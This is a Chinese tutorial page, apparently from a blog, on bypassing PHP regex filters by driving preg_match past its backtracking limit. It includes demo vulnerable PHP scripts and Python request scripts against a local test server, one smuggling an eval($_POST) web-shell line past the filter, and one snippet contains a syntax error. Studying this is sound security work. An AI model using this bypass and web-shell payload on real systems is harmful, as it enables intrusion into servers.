当前位置:网站首页>利用正则表达式的回溯实现绕过
利用正则表达式的回溯实现绕过
2022-08-01 10:13:00 【miracle-boy】
目录
什么是正则回溯?
从问题的某一种状态(初始状态)出发,搜索从这种状态出发所能达到的所有“状态”,当一条路走到“尽头”的时候(不能再前进),再后退一步或若干步,从另一种可能“状态”出发,继续搜索,直到所有的“路径”(状态)都试探过。这种不断“前进”、不断“回溯”寻找解的方法,就称作“回溯法”。本质上就是深度优先搜索算法。其中退到之前的某一步这一过程,我们称为“回溯”。
为什么可以利用正则回溯进行绕过?
- 大量的回溯会长时间地占用CPU,从而带来系统性的开销。PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限,最大回溯次数默认为1000000次,如果超过一百万次preg_match函数返回的非 1 和 0,而是 false表示此次执行失败。
- 在PHP中 ‘==’ 是松散比较 ‘0’与’flase’ 是相等的:
- 使用两个等号 == 比较,只比较值,不比较类型。
- 严格比较:用三个等号 === 比较,除了比较值,也比较类型。
- == 在进行比较的时候,会先将字符串类型转化成相同,再比较
php正则回溯绕过案例一
php源码:
<?php
$input = $_POST['file'];
if(is_php($input)=='0') {
echo "flag{raoguo-cenggong}";
}else{
echo "bad requests";
}
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
python绕过源码
import requests
datas = {
'file' : "<?php eval($_POST['oupeng']); ?>"+'h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test1.php', data=datas)
print(res.text)
当回溯次数为999990次时的运行结果:
当回溯次数为1000000次时的运行结果:
php正则回溯绕过案例二
php源码:
<?php
function areyouok($greeting){
return preg_match('/Merry.*Christmas/is',$greeting);
}
[email protected]$_POST['greeting'];
if(!is_array($greeting)){
if(!areyouok($greeting)){
if(strpos($greeting,'Merry Christmas')!==false){
echo 'flag{cheng-gong}';
}else{
echo 'no have Merry Christmas';
}
}else{
echo 'Bypass the failure';
}
}
?>
python源码:
import requests
datas = {
'greeting': 'Merry Christmas'+'h'*100000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)
运行结果:
python测试:
没有 ‘Merry Christmas’ 前缀的运行结果
import requests
datas = {
'greeting': h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)
运行结果:
边栏推荐
- MFC实现交通图导航系统
- 【cartographer ros】十: 延时和误差分析
- 基于ModelArts的物体检测YOLOv3实践【玩转华为云】
- IntellJ IDEA如何显示换行符(line endings)
- 怎么找出电脑隐藏的软件(如何清理电脑隐藏软件)
- SkiaSharp 之 WPF 自绘 五环弹动球(案例版)
- 朴素贝叶斯--学习笔记--基本原理及代码实现
- VS“无法查找或打开PDB文件”是怎么回事?如何解决
- Three chess (C language implementation)
- Enterprise WeChat group: robot timing reminder function database configuration
猜你喜欢
随机推荐
Change Servlet project to SSM project
我是如何保护 70000 ETH 并赢得 600 万漏洞赏金的
What are the common API security flaws?
WPF 截图控件之绘制箭头(五)「仿微信」
已解决(pip安装库报错)Consider using the-- user option or check the permissions.
WLAN networking experiment of AC and thin AP
世界第4疯狂的科学家,在103岁生日那天去世了
Py之yellowbrick:yellowbrick的简介、安装、使用方法之详细攻略
C#/VB.NET 将PPT或PPTX转换为图像
玻璃拟态(Glassmorphism)设计风格
如何在IntellJ IDEA中批量修改文件换行符
VS“无法查找或打开PDB文件”是怎么回事?如何解决
Android Security and Protection Policy
线上问题排查常用命令,总结太全了,建议收藏!!
pve 删除虚拟机「建议收藏」
跨域网络资源文件下载
小程序毕设作品之微信美食菜谱小程序毕业设计成品(4)开题报告
Go-Excelize API source code reading (8) - GroupSheets(sheets []string), UngroupSheets()
slice、splice、split傻傻分不清
Introduction to data warehouse layering (real-time data warehouse architecture)